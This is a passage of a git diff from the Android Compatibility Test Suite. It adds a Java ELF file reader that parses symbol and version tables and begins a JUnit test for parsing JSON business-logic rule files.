+ this.sh_size,
+ this.sh_link,
+ this.sh_info,
+ this.sh_addralign,
+ this.sh_entsize);
+ }
+ }
+
+ public static class VerNeed {
+ public final int vn_version;
+ public final int vn_cnt;
+ public final long vn_file;
+ public final long vn_aux;
+ public final long vn_next;
+ public String vn_file_name;
+ public VerNAux[] vn_vernaux;
+
+ VerNeed(String file_name, String lib_name, int ndx) {
+ this.vn_file_name = file_name.toLowerCase();
+ this.vn_vernaux = new VerNAux[1];
+ this.vn_vernaux[0] = new VerNAux(lib_name, ndx);
+
+ this.vn_version = 0;
+ this.vn_cnt = 0;
+ this.vn_file = 0;
+ this.vn_aux = 0;
+ this.vn_next = 0;
+ }
+
+ VerNeed(int ver, int cnt, long file, long aux, long next) {
+ this.vn_version = ver;
+ this.vn_cnt = cnt;
+ this.vn_file = file;
+ this.vn_aux = aux;
+ this.vn_next = next;
+ }
+
+ @Override
+ public String toString() {
+ String vernauxStr = "";
+ for (int i = 0; i < this.vn_cnt; i++) {
+ vernauxStr += String.format(" %s\n", this.vn_vernaux[i].toString());
+ }
+ return String.format(
+ "%s, %d, %d, %d, %d, %d \n%s",
+ this.vn_file_name,
+ this.vn_version,
+ this.vn_cnt,
+ this.vn_file,
+ this.vn_aux,
+ this.vn_next,
+ vernauxStr);
+ }
+ }
+
+ public static class VerNAux {
+ public final long vna_hash;
+ public final int vna_flags;
+ public final int vna_other;
+ public final long vna_name;
+ public final long vna_next;
+ public String vna_lib_name;
+
+ VerNAux(String lib_name, int ndx) {
+ this.vna_lib_name = lib_name;
+
+ this.vna_hash = 0;
+ this.vna_flags = 0;
+ this.vna_other = ndx;
+ this.vna_name = 0;
+ this.vna_next = 0;
+ }
+
+ VerNAux(long hash, int flags, int other, long name, long next) {
+ this.vna_hash = hash;
+ this.vna_flags = flags;
+ this.vna_other = other;
+ this.vna_name = name;
+ this.vna_next = next;
+ }
+
+ @Override
+ public String toString() {
+ return String.format(
+ "%s, %d, %d, %d, %d, %d",
+ this.vna_lib_name,
+ this.vna_hash,
+ this.vna_flags,
+ this.vna_other,
+ this.vna_name,
+ this.vna_next);
+ }
+ }
+
+ public static class VerDef {
+ public final int vd_version;
+ public final int vd_flags;
+ public final int vd_ndx;
+ public final int vd_cnt;
+ public final long vd_hash;
+ public final long vd_aux;
+ public final long vd_next;
+ public VerDAux[] vd_verdaux;
+
+ VerDef(String lib_name) {
+ this.vd_verdaux = new VerDAux[1];
+ this.vd_verdaux[0] = new VerDAux(lib_name);
+
+ this.vd_version = 0;
+ this.vd_flags = 0;
+ this.vd_ndx = 0;
+ this.vd_cnt = 0;
+ this.vd_hash = 0;
+ this.vd_aux = 0;
+ this.vd_next = 0;
+ }
+
+ VerDef(int ver, int flags, int ndx, int cnt, long hash, long aux, long next) {
+ this.vd_version = ver;
+ this.vd_flags = flags;
+ this.vd_ndx = ndx;
+ this.vd_cnt = cnt;
+ this.vd_hash = hash;
+ this.vd_aux = aux;
+ this.vd_next = next;
+ }
+
+ @Override
+ public String toString() {
+ String vStr = "";
+ for (int i = 0; i < this.vd_cnt; i++) {
+ vStr += String.format(" %s\n", this.vd_verdaux[i].toString());
+ }
+ return String.format(
+ "%s, %d, %d, %d, %d, %d \n%s",
+ this.vd_verdaux[0].vda_lib_name,
+ this.vd_version,
+ this.vd_flags,
+ this.vd_ndx,
+ this.vd_cnt,
+ this.vd_hash,
+ vStr);
+ }
+ }
+
+ public static class VerDAux {
+ public final long vda_name;
+ public final long vda_next;
+ public String vda_lib_name;
+
+ VerDAux(String lib_name) {
+ this.vda_lib_name = lib_name.toLowerCase();
+
+ this.vda_name = 0;
+ this.vda_next = 0;
+ }
+
+ VerDAux(long name, long next) {
+ this.vda_name = name;
+ this.vda_next = next;
+ }
+
+ @Override
+ public String toString() {
+ return String.format("%s, %d, %d", this.vda_lib_name, this.vda_name, this.vda_next);
+ }
+ }
+
+ private final String mPath;
+ private final RandomAccessFile mFile;
+ private final byte[] mBuffer = new byte[512];
+ private int mEndian;
+ private boolean mIsDynamic;
+ private boolean mIsPIE;
+ private int mType;
+ private int mAddrSize;
+
+ /** Symbol Table offset */
+ private long mSymTabOffset;
+
+ /** Symbol Table size */
+ private long mSymTabSize;
+
+ /** Symbol entry count */
+ private int mSymEntCnt;
+
+ /** Dynamic Symbol Table offset */
+ private long mDynSymOffset;
+
+ /** Dynamic Symbol Table size */
+ private long mDynSymSize;
+
+ /** Dynamic entry count */
+ private int mDynSymEntCnt;
+
+ /** Section Header String Table offset */
+ private long mShStrTabOffset;
+
+ /** Section Header String Table size */
+ private long mShStrTabSize;
+
+ /** String Table offset */
+ private long mStrTabOffset;
+
+ /** String Table size */
+ private long mStrTabSize;
+
+ /** Dynamic String Table offset */
+ private long mDynStrOffset;
+
+ /** Dynamic String Table size */
+ private long mDynStrSize;
+
+ /** Dynamic String Table offset */
+ private long mDynamicTabOffset;
+
+ /** Dynamic String Table size */
+ private long mDynamicTabSize;
+
+ /** Version Symbols Table offset */
+ private long mVerSymTabOffset;
+
+ /** Version Symbols Table size */
+ private long mVerSymTabSize;
+
+ /** Version Needs Table offset */
+ private long mVerNeedTabOffset;
+
+ /** Version Definition Table size */
+ private long mVerNeedTabSize;
+
+ private int mVerNeedEntryCnt;
+
+ /** Version Definition Table offset */
+ private long mVerDefTabOffset;
+
+ /** Version Needs Table size */
+ private long mVerDefTabSize;
+
+ private int mVerDefEntryCnt;
+
+ /** Symbol Table symbol names */
+ private Map<String, Symbol> mSymbols;
+
+ /** Symbol Table symbol array */
+ private Symbol[] mSymArr;
+
+ /** Dynamic Symbol Table symbol names */
+ private Map<String, Symbol> mDynamicSymbols;
+
+ /** Dynamic Symbol Table symbol array */
+ private Symbol[] mDynSymArr;
+
+ /** Version Symbols Table */
+ private int[] mVerSym;
+
+ /** Version Needed Table */
+ private VerNeed[] mVerNeedArr;
+
+ /** Version Definition Table */
+ private VerDef[] mVerDefArr;
+
+ public static ReadElf read(File file) throws IOException {
+ return new ReadElf(file);
+ }
+
+ public static void main(String[] args) throws IOException {
+ for (String arg : args) {
+ ReadElf re = ReadElf.read(new File(arg));
+ re.getDynamicSymbol("x");
+ re.getSymbol("x");
+
+ Symbol[] symArr;
+ System.out.println("===Symbol===");
+ symArr = re.getSymArr();
+ for (int i = 0; i < symArr.length; i++) {
+ System.out.println(String.format("%8x: %s", i, symArr[i].toString()));
+ }
+ System.out.println("===Dynamic Symbol===");
+ symArr = re.getDynSymArr();
+ for (int i = 0; i < symArr.length; i++) {
+ if (re.mVerNeedEntryCnt > 0) {
+ System.out.println(
+ String.format(
+ "%8x: %s, %s, %s - %d",
+ i,
+ symArr[i].toString(),
+ symArr[i].getExternalLibName(),
+ symArr[i].getExternalLibFileName(),
+ symArr[i].getExternalLibVer()));
+ } else {
+ System.out.println(
+ String.format(
+ "%8x: %s, %s - %d",
+ i,
+ symArr[i].toString(),
+ symArr[i].getVerDefLibName(),
+ symArr[i].getVerDefVersion()));
+ }
+ }
+ re.close();
+ }
+ }
+
+ public Map<String, Symbol> getSymbols() throws IOException {
+ if (mSymbols == null) {
+ getSymbol("");
+ }
+ return mSymbols;
+ }
+
+ public Symbol[] getSymArr() throws IOException {
+ if (mSymArr == null) {
+ getSymbol("");
+ }
+ return mSymArr;
+ }
+
+ public Map<String, Symbol> getDynamicSymbols() throws IOException {
+ if (mDynamicSymbols == null) {
+ getDynamicSymbol("");
+ }
+ return mDynamicSymbols;
+ }
+
+ public Symbol[] getDynSymArr() throws IOException {
+ if (mDynSymArr == null) {
+ getDynamicSymbol("");
+ }
+ return mDynSymArr;
+ }
+
+ public boolean isDynamic() {
+ return mIsDynamic;
+ }
+
+ public int getType() {
+ return mType;
+ }
+
+ public boolean isPIE() {
+ return mIsPIE;
+ }
+
+ private ReadElf(File file) throws IOException {
+ mPath = file.getPath();
+ mFile = new RandomAccessFile(file, "r");
+
+ if (mFile.length() < EI_NIDENT) {
+ throw new IllegalArgumentException("Too small to be an ELF file: " + file);
+ }
+
+ readHeader();
+ }
+
+ @Override
+ public void close() {
+ try {
+ mFile.close();
+ } catch (IOException ignored) {
+ }
+ }
+
+ @Override
+ protected void finalize() throws Throwable {
+ try {
+ close();
+ } finally {
+ super.finalize();
+ }
+ }
+
+ private void readHeader() throws IOException {
+ mFile.seek(0);
+ mFile.readFully(mBuffer, 0, EI_NIDENT);
+
+ if (mBuffer[0] != ELFMAG[0]
+ || mBuffer[1] != ELFMAG[1]
+ || mBuffer[2] != ELFMAG[2]
+ || mBuffer[3] != ELFMAG[3]) {
+ throw new IllegalArgumentException("Invalid ELF file: " + mPath);
+ }
+
+ int elfClass = mBuffer[EI_CLASS];
+ if (elfClass == ELFCLASS32) {
+ mAddrSize = 4;
+ } else if (elfClass == ELFCLASS64) {
+ mAddrSize = 8;
+ } else {
+ throw new IOException("Invalid ELF EI_CLASS: " + elfClass + ": " + mPath);
+ }
+
+ mEndian = mBuffer[EI_DATA];
+ if (mEndian == ELFDATA2LSB) {
+ } else if (mEndian == ELFDATA2MSB) {
+ throw new IOException("Unsupported ELFDATA2MSB file: " + mPath);
+ } else {
+ throw new IOException("Invalid ELF EI_DATA: " + mEndian + ": " + mPath);
+ }
+
+ mType = readHalf();
+
+ int e_machine = readHalf();
+ if (e_machine != EM_386
+ && e_machine != EM_X86_64
+ && e_machine != EM_AARCH64
+ && e_machine != EM_ARM
+ && e_machine != EM_MIPS
+ && e_machine != EM_QDSP6) {
+ throw new IOException("Invalid ELF e_machine: " + e_machine + ": " + mPath);
+ }
+
+ // AbiTest relies on us rejecting any unsupported combinations.
+ if ((e_machine == EM_386 && elfClass != ELFCLASS32)
+ || (e_machine == EM_X86_64 && elfClass != ELFCLASS64)
+ || (e_machine == EM_AARCH64 && elfClass != ELFCLASS64)
+ || (e_machine == EM_ARM && elfClass != ELFCLASS32)
+ || (e_machine == EM_QDSP6 && elfClass != ELFCLASS32)) {
+ throw new IOException(
+ "Invalid e_machine/EI_CLASS ELF combination: "
+ + e_machine
+ + "/"
+ + elfClass
+ + ": "
+ + mPath);
+ }
+
+ long e_version = readWord();
+ if (e_version != EV_CURRENT) {
+ throw new IOException("Invalid e_version: " + e_version + ": " + mPath);
+ }
+
+ long e_entry = readAddr();
+
+ long ph_off = readOff();
+ long sh_off = readOff();
+
+ long e_flags = readWord();
+ int e_ehsize = readHalf();
+ int e_phentsize = readHalf();
+ int e_phnum = readHalf();
+ int e_shentsize = readHalf();
+ int e_shnum = readHalf();
+ int e_shstrndx = readHalf();
+
+ readSectionHeaders(sh_off, e_shnum, e_shentsize, e_shstrndx);
+ readProgramHeaders(ph_off, e_phnum, e_phentsize);
+ }
+
+ private void readSectionHeaders(long sh_off, int e_shnum, int e_shentsize, int e_shstrndx)
+ throws IOException {
+ // Read the Section Header String Table offset first.
+ {
+ mFile.seek(sh_off + e_shstrndx * e_shentsize);
+
+ long sh_name = readWord();
+ long sh_type = readWord();
+ long sh_flags = readX(mAddrSize);
+ long sh_addr = readAddr();
+ long sh_offset = readOff();
+ long sh_size = readX(mAddrSize);
+ // ...
+
+ if (sh_type == SHT_STRTAB) {
+ mShStrTabOffset = sh_offset;
+ mShStrTabSize = sh_size;
+ }
+ }
+
+ for (int i = 0; i < e_shnum; ++i) {
+ // Don't bother to re-read the Section Header StrTab.
+ if (i == e_shstrndx) {
+ continue;
+ }
+
+ mFile.seek(sh_off + i * e_shentsize);
+
+ long sh_name = readWord();
+ long sh_type = readWord();
+ long sh_flags = readX(mAddrSize);
+ long sh_addr = readAddr();
+ long sh_offset = readOff();
+ long sh_size = readX(mAddrSize);
+ long sh_link = readWord();
+ long sh_info = readWord();
+ long sh_addralign = readX(mAddrSize);
+ ;
+ long sh_entsize = readX(mAddrSize);
+ ;
+
+ if (sh_type == SHT_SYMTAB || sh_type == SHT_DYNSYM) {
+ final String symTabName = readShStrTabEntry(sh_name);
+ if (".symtab".equals(symTabName)) {
+ mSymTabOffset = sh_offset;
+ mSymTabSize = sh_size;
+ mSymEntCnt = (int) (sh_size / sh_entsize);
+ } else if (".dynsym".equals(symTabName)) {
+ mDynSymOffset = sh_offset;
+ mDynSymSize = sh_size;
+ mDynSymEntCnt = (int) (sh_size / sh_entsize);
+ }
+ System.out.println(
+ String.format(
+ "%s, %d, %d, %d, %d, %d",
+ symTabName, sh_offset, sh_size, sh_link, sh_info, sh_entsize));
+ } else if (sh_type == SHT_STRTAB) {
+ final String strTabName = readShStrTabEntry(sh_name);
+ if (".strtab".equals(strTabName)) {
+ mStrTabOffset = sh_offset;
+ mStrTabSize = sh_size;
+ } else if (".dynstr".equals(strTabName)) {
+ mDynStrOffset = sh_offset;
+ mDynStrSize = sh_size;
+ System.out.println(
+ String.format(
+ "%s, %d, %d, %d, %d",
+ strTabName, sh_offset, sh_size, sh_link, sh_info));
+ }
+ } else if (sh_type == SHT_DYNAMIC) {
+ mIsDynamic = true;
+ final String strTabName = readShStrTabEntry(sh_name);
+ mDynamicTabOffset = sh_offset;
+ mDynamicTabSize = sh_size;
+ System.out.println(
+ String.format(
+ "%s, %d, %d, %d, %d",
+ strTabName, sh_offset, sh_size, sh_link, sh_info));
+ } else if (sh_type == SHT_GNU_VERSYM) {
+ final String strTabName = readShStrTabEntry(sh_name);
+ if (".gnu.version".equals(strTabName)) {
+ mVerSymTabOffset = sh_offset;
+ mVerSymTabSize = sh_size;
+ }
+ System.out.println(
+ String.format(
+ "%s, %d, %d, %d, %d",
+ strTabName, sh_offset, sh_size, sh_link, sh_info));
+ } else if (sh_type == SHT_GNU_VERNEED) {
+ final String strTabName = readShStrTabEntry(sh_name);
+ if (".gnu.version_r".equals(strTabName)) {
+ mVerNeedTabOffset = sh_offset;
+ mVerNeedTabSize = sh_size;
+ mVerNeedEntryCnt = (int) sh_info;
+ }
+ System.out.println(
+ String.format(
+ "%s, %d, %d, %d, %d",
+ strTabName, sh_offset, sh_size, sh_link, sh_info));
+ } else if (sh_type == SHT_GNU_VERDEF) {
+ final String strTabName = readShStrTabEntry(sh_name);
+ if (".gnu.version_d".equals(strTabName)) {
+ mVerDefTabOffset = sh_offset;
+ mVerDefTabSize = sh_size;
+ mVerDefEntryCnt = (int) sh_info;
+ }
+ System.out.println(
+ String.format(
+ "%s, %d, %d, %d, %d",
+ strTabName, sh_offset, sh_size, sh_link, sh_info));
+ }
+ }
+ }
+
+ private void readProgramHeaders(long ph_off, int e_phnum, int e_phentsize) throws IOException {
+ for (int i = 0; i < e_phnum; ++i) {
+ mFile.seek(ph_off + i * e_phentsize);
+
+ long p_type = readWord();
+ if (p_type == PT_LOAD) {
+ if (mAddrSize == 8) {
+ // Only in Elf64_phdr; in Elf32_phdr p_flags is at the end.
+ long p_flags = readWord();
+ }
+ long p_offset = readOff();
+ long p_vaddr = readAddr();
+ // ...
+
+ if (p_vaddr == 0) {
+ mIsPIE = true;
+ }
+ }
+ }
+ }
+
+ private HashMap<String, Symbol> readSymbolTable(
+ Symbol[] symArr,
+ boolean isDynSym,
+ long symStrOffset,
+ long symStrSize,
+ long tableOffset,
+ long tableSize)
+ throws IOException {
+ HashMap<String, Symbol> result = new HashMap<String, Symbol>();
+ mFile.seek(tableOffset);
+ int i = 0;
+ while (mFile.getFilePointer() < tableOffset + tableSize) {
+ long st_name = readWord();
+ int st_info;
+ int st_shndx;
+ long st_value;
+ long st_size;
+ int st_other;
+ if (mAddrSize == 8) {
+ st_info = readByte();
+ st_other = readByte();
+ st_shndx = readHalf();
+ st_value = readAddr();
+ st_size = readX(mAddrSize);
+ } else {
+ st_value = readAddr();
+ st_size = readWord();
+ st_info = readByte();
+ st_other = readByte();
+ st_shndx = readHalf();
+ }
+
+ String symName;
+ if (st_name == 0) {
+ symName = "";
+ } else {
+ symName = readStrTabEntry(symStrOffset, symStrSize, st_name);
+ }
+
+ Symbol sym = new Symbol(symName, st_info, st_shndx, st_value, st_size, st_other);
+ if (symName.equals("")) {
+ result.put(symName, sym);
+ }
+ if (isDynSym) {
+ if (mVerNeedEntryCnt > 0) {
+ if (sym.type == Symbol.STT_NOTYPE) {
+ sym.mVerNeed = mVerNeedArr[0];
+ } else {
+ sym.mVerNeed = getVerNeed(mVerSym[i]);
+ }
+ } else if (mVerDefEntryCnt > 0) {
+ sym.mVerDef = mVerDefArr[mVerSym[i]];
+ }
+ }
+ symArr[i] = sym;
+ i++;
+ }
+ System.out.println(
+ String.format(
+ "Info readSymbolTable: %s, isDynSym %b, symbol# %d",
+ mPath, isDynSym, symArr.length));
+ return result;
+ }
+
+ private String readShStrTabEntry(long strOffset) throws IOException {
+ if (mShStrTabOffset == 0 || strOffset < 0 || strOffset >= mShStrTabSize) {
+ return null;
+ }
+ return readString(mShStrTabOffset + strOffset);
+ }
+
+ private String readStrTabEntry(long tableOffset, long tableSize, long strOffset)
+ throws IOException {
+ if (tableOffset == 0 || strOffset < 0 || strOffset >= tableSize) {
+ return null;
+ }
+ return readString(tableOffset + strOffset);
+ }
+
+ private String readDynStrTabEntry(long strOffset) throws IOException {
+ if (mDynStrOffset == 0 || strOffset < 0 || strOffset >= mDynStrSize) {
+ return null;
+ }
+ return readString(mDynStrOffset + strOffset);
+ }
+
+ private int[] getVerSym() throws IOException {
+ if (mVerSym == null) {
+ mFile.seek(mVerSymTabOffset);
+ int cnt = (int) mVerSymTabSize / 2;
+ mVerSym = new int[cnt];
+ for (int i = 0; i < cnt; i++) {
+ mVerSym[i] = readHalf();
+ //System.out.println(String.format("%d, %d", i, mVerSym[i]));
+ }
+ }
+ return mVerSym;
+ }
+
+ public VerNeed getVerNeed(int ndx) throws IOException {
+ // vna_other Contains version index unique for the file which is used in the version symbol table.
+ if (ndx < 2) {
+ return this.mVerNeedArr[ndx];
+ }
+
+ for (int i = 2; i < this.mVerNeedEntryCnt + 2; i++) {
+ for (int j = 0; j < this.mVerNeedArr[i].vn_cnt; j++) {
+ if (this.mVerNeedArr[i].vn_vernaux[j].vna_other == ndx) {
+ return this.mVerNeedArr[i];
+ }
+ }
+ }
+ System.out.println(String.format("no VerNeed found: %d", ndx));
+ return null;
+ }
+
+ private VerNeed[] getVerNeedArr() throws IOException {
+ if (mVerNeedArr == null) {
+ mVerNeedArr = new VerNeed[mVerNeedEntryCnt + 2];
+
+ // SHT_GNU_versym 0: local
+ mVerNeedArr[0] = new VerNeed("*local*", "*local*", 0);
+ // HT_GNU_versym 1: global
+ mVerNeedArr[1] = new VerNeed("*global*", "*global*", 1);
+
+ long idx = mVerNeedTabOffset;
+ for (int i = 2; i < mVerNeedEntryCnt + 2; i++) {
+ mFile.seek(idx);
+ mVerNeedArr[i] =
+ new VerNeed(readHalf(), readHalf(), readWord(), readWord(), readWord());
+ mVerNeedArr[i].vn_file_name = readDynStrTabEntry(mVerNeedArr[i].vn_file).toLowerCase();
+
+ mVerNeedArr[i].vn_vernaux = new VerNAux[mVerNeedArr[i].vn_cnt];
+ long idxAux = idx + mVerNeedArr[i].vn_aux;
+ for (int j = 0; j < mVerNeedArr[i].vn_cnt; j++) {
+ mFile.seek(idxAux);
+ mVerNeedArr[i].vn_vernaux[j] =
+ new VerNAux(readWord(), readHalf(), readHalf(), readWord(), readWord());
+ mVerNeedArr[i].vn_vernaux[j].vna_lib_name =
+ readDynStrTabEntry(mVerNeedArr[i].vn_vernaux[j].vna_name);
+ idxAux += mVerNeedArr[i].vn_vernaux[j].vna_next;
+ }
+ idx += mVerNeedArr[i].vn_next;
+ System.out.println(mVerNeedArr[i]);
+ }
+ }
+
+ return mVerNeedArr;
+ }
+
+ private VerDef[] getVerDef() throws IOException {
+ if (mVerDefArr == null) {
+ mVerDefArr = new VerDef[mVerDefEntryCnt + 2];
+
+ // SHT_GNU_versym 0: local
+ mVerDefArr[0] = new VerDef("*local*");
+ // HT_GNU_versym 1: global
+ mVerDefArr[1] = new VerDef("*global*");
+
+ long idx = mVerDefTabOffset;
+ for (int i = 2; i < mVerDefEntryCnt + 2; i++) {
+ mFile.seek(idx);
+ mVerDefArr[i] =
+ new VerDef(
+ readHalf(),
+ readHalf(),
+ readHalf(),
+ readHalf(),
+ readWord(),
+ readWord(),
+ readWord());
+
+ mVerDefArr[i].vd_verdaux = new VerDAux[mVerDefArr[i].vd_cnt];
+ long idxAux = idx + mVerDefArr[i].vd_aux;
+ for (int j = 0; j < mVerDefArr[i].vd_cnt; j++) {
+ mFile.seek(idxAux);
+ mVerDefArr[i].vd_verdaux[j] = new VerDAux(readWord(), readWord());
+ mVerDefArr[i].vd_verdaux[j].vda_lib_name =
+ readDynStrTabEntry(mVerDefArr[i].vd_verdaux[j].vda_name).toLowerCase();
+ idxAux += mVerDefArr[i].vd_verdaux[j].vda_next;
+ }
+ idx += mVerDefArr[i].vd_next;
+ System.out.println(mVerDefArr[i]);
+ }
+ }
+ return mVerDefArr;
+ }
+
+ private int readHalf() throws IOException {
+ return (int) readX(2);
+ }
+
+ private long readWord() throws IOException {
+ return readX(4);
+ }
+
+ private long readOff() throws IOException {
+ return readX(mAddrSize);
+ }
+
+ private long readAddr() throws IOException {
+ return readX(mAddrSize);
+ }
+
+ private long readX(int byteCount) throws IOException {
+ mFile.readFully(mBuffer, 0, byteCount);
+
+ int answer = 0;
+ if (mEndian == ELFDATA2LSB) {
+ for (int i = byteCount - 1; i >= 0; i--) {
+ answer = (answer << 8) | (mBuffer[i] & 0xff);
+ }
+ } else {
+ final int N = byteCount - 1;
+ for (int i = 0; i <= N; ++i) {
+ answer = (answer << 8) | (mBuffer[i] & 0xff);
+ }
+ }
+
+ return answer;
+ }
+
+ private String readString(long offset) throws IOException {
+ long originalOffset = mFile.getFilePointer();
+ mFile.seek(offset);
+ mFile.readFully(mBuffer, 0, (int) Math.min(mBuffer.length, mFile.length() - offset));
+ mFile.seek(originalOffset);
+
+ for (int i = 0; i < mBuffer.length; ++i) {
+ if (mBuffer[i] == 0) {
+ return new String(mBuffer, 0, i);
+ }
+ }
+
+ return null;
+ }
+
+ private int readByte() throws IOException {
+ return mFile.read() & 0xff;
+ }
+
+ public Symbol getSymbol(String name) {
+ if (mSymbols == null) {
+ try {
+ mSymArr = new Symbol[mSymEntCnt];
+ mSymbols =
+ readSymbolTable(
+ mSymArr,
+ false,
+ mStrTabOffset,
+ mStrTabSize,
+ mSymTabOffset,
+ mSymTabSize);
+ } catch (IOException e) {
+ return null;
+ }
+ }
+ return mSymbols.get(name);
+ }
+
+ public Symbol getDynamicSymbol(String name) throws IOException {
+ if (mDynamicSymbols == null) {
+ try {
+ int[] verSmyArr = this.getVerSym();
+ VerNeed[] verNeedArr = this.getVerNeedArr();
+ VerDef[] verDefArr = this.getVerDef();
+ mDynSymArr = new Symbol[mDynSymEntCnt];
+ mDynamicSymbols =
+ readSymbolTable(
+ mDynSymArr,
+ true,
+ mDynStrOffset,
+ mDynStrSize,
+ mDynSymOffset,
+ mDynSymSize);
+ } catch (IOException e) {
+ return null;
+ }
+ }
+ return mDynamicSymbols.get(name);
+ }
+}
diff --git a/common/util/tests/src/com/android/compatibility/common/util/BusinessLogicTest.java b/common/util/tests/src/com/android/compatibility/common/util/BusinessLogicTest.java
new file mode 100644
index 0000000..99b5239
--- /dev/null
+++ b/common/util/tests/src/com/android/compatibility/common/util/BusinessLogicTest.java
@@ -0,0 +1,250 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRule;
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRuleAction;
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRuleCondition;
+import com.android.tradefed.util.FileUtil;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.List;
+
+/**
+ * Unit tests for {@link BusinessLogic}
+ */
+@RunWith(JUnit4.class)
+public class BusinessLogicTest {
+
+ private static final String CORRECT_LOGIC =
+ "{\n" +
+ " \"name\": \"businessLogic/suites/gts\",\n" +
+ " \"businessLogicRulesLists\": [\n" +
+ " {\n" +
+ " \"testName\": \"testCaseName1\",\n" +
+ " \"businessLogicRules\": [\n" +
+ " {\n" +
+ " \"ruleConditions\": [\n" +
+ " {\n" +
+ " \"methodName\": \"conditionMethodName1\",\n" +
+ " \"methodArgs\": [\n" +
+ " \"arg1\"\n" +
+ " ]\n" +
+ " }\n" +
+ " ],\n" +
+ " \"ruleActions\": [\n" +
+ " {\n" +
+ " \"methodName\": \"actionMethodName1\",\n" +
+ " \"methodArgs\": [\n" +
+ " \"arg1\",\n" +
+ " \"arg2\"\n" +
+ " ]\n" +
+ " }\n" +
+ " ]\n" +
+ " }\n" +
+ " ]\n" +
+ " },\n" +
+ " {\n" +
+ " \"testName\": \"testCaseName2\",\n" +
+ " \"businessLogicRules\": [\n" +
+ " {\n" +
+ " \"ruleConditions\": [\n" +
+ " {\n" +
+ " \"methodName\": \"conditionMethodName1\",\n" +
+ " \"methodArgs\": [\n" +
+ " \"arg1\"\n" +
+ " ]\n" +
+ " }\n" +
+ " ],\n" +
+ " \"ruleActions\": [\n" +
+ " {\n" +
+ " \"methodName\": \"actionMethodName1\",\n" +
+ " \"methodArgs\": [\n" +
+ " \"arg1\",\n" +
+ " \"arg2\"\n" +
+ " ]\n" +
+ " }\n" +
+ " ]\n" +
+ " },\n" +
+ " {\n" +
+ " \"ruleConditions\": [\n" +
+ " {\n" +
+ " \"methodName\": \"conditionMethodName1\",\n" +
+ " \"methodArgs\": [\n" +
+ " \"arg1\"\n" +
+ " ]\n" +
+ " },\n" +
+ " {\n" +
+ " \"methodName\": \"!conditionMethodName2\",\n" + // use negation
+ " \"methodArgs\": [\n" +
+ " \"arg2\"\n" +
+ " ]\n" +
+ " }\n" +
+ " ],\n" +
+ " \"ruleActions\": [\n" +
+ " {\n" +
+ " \"methodName\": \"actionMethodName1\",\n" +
+ " \"methodArgs\": [\n" +
+ " \"arg1\",\n" +
+ " \"arg2\"\n" +
+ " ]\n" +
+ " },\n" +
+ " {\n" +
+ " \"methodName\": \"actionMethodName2\"\n" +
+ " }\n" +
+ " ]\n" +
+ " }\n" +
+ " ]\n" +
+ " },\n" +
+ " {\n" +
+ " \"testName\": \"testCaseName3\"\n" +
+ " }\n" +
+ " ]\n" +
+ "}";
+
+ @Test
+ public void testCorrectLogic() throws Exception {
+ File file = createFileFromStr(CORRECT_LOGIC);
+ try {
+ BusinessLogic bl = BusinessLogicFactory.createFromFile(file);
+ assertEquals("Wrong number of business logic rule lists", 3, bl.mRules.size());
+
+ List<BusinessLogicRule> ruleList1 = bl.mRules.get("testCaseName1");
+ assertEquals("Wrong number of rules in first rule list", 1, ruleList1.size());
+ BusinessLogicRule rule1 = ruleList1.get(0);
+ List<BusinessLogicRuleCondition> rule1Conditions = rule1.mConditions;
+ assertEquals("Wrong number of conditions", 1, rule1Conditions.size());
+ BusinessLogicRuleCondition rule1Condition = rule1Conditions.get(0);
+ assertEquals("Wrong method name for business logic rule condition",
+ "conditionMethodName1", rule1Condition.mMethodName);
+ assertFalse("Wrong negation value for business logic rule condition",
+ rule1Condition.mNegated);
+ assertEquals("Wrong arg string count for business logic rule condition", 1,
+ rule1Condition.mMethodArgs.size());
+ assertEquals("Wrong arg for business logic rule condition", "arg1",
+ rule1Condition.mMethodArgs.get(0));
+ List<BusinessLogicRuleAction> rule1Actions = rule1.mActions;
+ assertEquals("Wrong number of actions", 1, rule1Actions.size());
+ BusinessLogicRuleAction rule1Action = rule1Actions.get(0);
+ assertEquals("Wrong method name for business logic rule action",
+ "actionMethodName1", rule1Action.mMethodName);
+ assertEquals("Wrong arg string count for business logic rule action", 2,
+ rule1Action.mMethodArgs.size());
+ assertEquals("Wrong arg for business logic rule action", "arg1",
+ rule1Action.mMethodArgs.get(0));
+ assertEquals("Wrong arg for business logic rule action", "arg2",
+ rule1Action.mMethodArgs.get(1));
+
+ List<BusinessLogicRule> ruleList2 = bl.mRules.get("testCaseName2");
+ assertEquals("Wrong number of rules in second rule list", 2, ruleList2.size());
+ BusinessLogicRule rule2 = ruleList2.get(0);
+ List<BusinessLogicRuleCondition> rule2Conditions = rule2.mConditions;
+ assertEquals("Wrong number of conditions", 1, rule2Conditions.size());
+ BusinessLogicRuleCondition rule2Condition = rule2Conditions.get(0);
+ assertEquals("Wrong method name for business logic rule condition",
+ "conditionMethodName1", rule2Condition.mMethodName);
+ assertFalse("Wrong negation value for business logic rule condition",
+ rule2Condition.mNegated);
+ assertEquals("Wrong arg string count for business logic rule condition", 1,
+ rule2Condition.mMethodArgs.size());
+ assertEquals("Wrong arg for business logic rule condition", "arg1",
+ rule2Condition.mMethodArgs.get(0));
+ List<BusinessLogicRuleAction> rule2Actions = rule2.mActions;
+ assertEquals("Wrong number of actions", 1, rule2Actions.size());
+ BusinessLogicRuleAction rule2Action = rule2Actions.get(0);
+ assertEquals("Wrong method name for business logic rule action",
+ "actionMethodName1", rule2Action.mMethodName);
+ assertEquals("Wrong arg string count for business logic rule action", 2,
+ rule2Action.mMethodArgs.size());
+ assertEquals("Wrong arg for business logic rule action", "arg1",
+ rule2Action.mMethodArgs.get(0));
